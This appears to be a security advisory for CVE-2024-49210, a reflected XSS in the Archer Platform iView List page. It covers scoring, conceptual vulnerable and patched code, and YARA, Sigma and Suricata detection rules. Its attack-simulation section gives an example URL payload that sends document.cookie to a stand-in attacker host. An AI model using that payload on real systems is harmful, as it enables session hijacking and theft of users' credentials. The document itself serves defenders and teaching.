CVE-2024-49210

Executive Summary

CVE-2024-49210 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in the iView List Archer Platform UX page of Archer Platform versions 6.x prior to the 2024.09 release. A remote, unauthenticated attacker can exploit this flaw by tricking a victim application user into clicking a crafted link containing malicious HTML or JavaScript. The injected code is reflected back to the victim and executed in the context of the vulnerable web application, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 5.2 (Medium) and a very low EPSS score (0.0%), indicating limited active exploitation in the wild. No public proof-of-concept (PoC) code or exploit templates are currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 5.2 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a malicious link.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and the potential for session hijacking make this a significant concern for organizations using affected Archer Platform versions.

Deep Dive & Mechanics

The vulnerability resides in the iView List page of the Archer Platform UX. This page likely processes user-supplied input (e.g., search parameters, filter values, or URL query strings) and reflects it back in the HTTP response without proper sanitization or encoding. An attacker can craft a URL containing malicious JavaScript, such as:

https://victim-archer-instance.com/iviewlist?search=<script>alert('XSS')</script>

When a victim clicks this link, the browser sends a request to the Archer server. The server processes the search parameter and includes its value in the HTML response without escaping HTML entities. The browser then interprets the <script> tag and executes the attacker's code.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding for user-controlled data in the iView List page. The fix in version 2024.09 likely involves proper HTML entity encoding (e.g., converting < to <) or using a Content Security Policy (CSP) to restrict script execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Archer Platform < 2024.09 - iView List page handler
def handle_iview_list(request):
    search_term = request.GET.get('search', '')
    # Direct reflection without sanitization
    response_html = f"<div>Search results for: {search_term}</div>"
    return HttpResponse(response_html)

Patched Code (Conceptual):

# Archer Platform >= 2024.09 - iView List page handler
import html

def handle_iview_list(request):
    search_term = request.GET.get('search', '')
    # Proper HTML entity encoding
    safe_search = html.escape(search_term)
    response_html = f"<div>Search results for: {safe_search}</div>"
    return HttpResponse(response_html)

The patched version uses html.escape() to convert special characters to their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable Archer Platform instance (version 6.x before 2024.09).
• A victim user with access to the iView List page.

Exploitation Steps:

1. Craft the malicious URL:

   https://victim-archer-instance.com/iviewlist?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Deliver the link: Send the URL via email, chat, or social engineering.
3. Victim clicks: The victim's browser executes the script, sending their session cookie to the attacker's server.
4. Session hijacking: The attacker uses the stolen cookie to impersonate the victim.

Lab Setup:

• Use a local Docker container running an affected Archer Platform version (if available) or a simulated environment.
• Set up a simple HTTP server (e.g., python3 -m http.server 8080) to capture exfiltrated data.

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for suspicious query strings containing <script>, onerror=, javascript:, or other XSS payloads.
• Use a Web Application Firewall (WAF) to block requests with malicious patterns.
• Implement Content Security Policy (CSP) headers to restrict script sources.

Mitigation:

• Apply the vendor patch (upgrade to version 2024.09 or later).
• If patching is delayed, manually sanitize input and encode output in the iView List page.
• Conduct user awareness training to avoid clicking suspicious links.

Indicators of Compromise (IOCs)

• URL Patterns:
  • */iviewlist?search=*<script>*
  • */iviewlist?search=*onerror=*
  • */iviewlist?search=*javascript:*
• Network Traffic:
  • Outbound connections to unknown domains from the victim's browser.
  • HTTP requests containing document.cookie in the query string.
• Log Entries:
  • Web server logs showing GET /iviewlist?search=<script>... with a 200 response.
  • Unusual referrer headers or user-agent strings.

Detection Engineering

YARA Rule

rule CVE_2024_49210_Archer_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Archer Platform iView List"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49210"
    strings:
        $xss1 = /iviewlist\?search=.*<script/i
        $xss2 = /iviewlist\?search=.*onerror=/i
        $xss3 = /iviewlist\?search=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on Archer Platform iView List
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the iView List page of Archer Platform
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'iviewlist?search='
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of search terms containing these strings (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-49210 Archer Platform Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/iviewlist"; http_uri;
    content:"search="; http_uri;
    pcre:"/<script|onerror=|javascript:/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Upgrade Archer Platform to version 2024.09 or later. This is the only complete fix.
2. Workaround (if patching is delayed):
   • Implement a Web Application Firewall (WAF) rule to block requests containing <script>, onerror=, or javascript: in the search parameter.
   • Manually sanitize input and encode output in the iView List page (e.g., using html.escape() in Python).
3. Long-term Prevention:
   • Adopt a Content Security Policy (CSP) that restricts script execution to trusted sources.
   • Conduct regular security code reviews and penetration testing.
   • Train developers on secure coding practices, especially output encoding.

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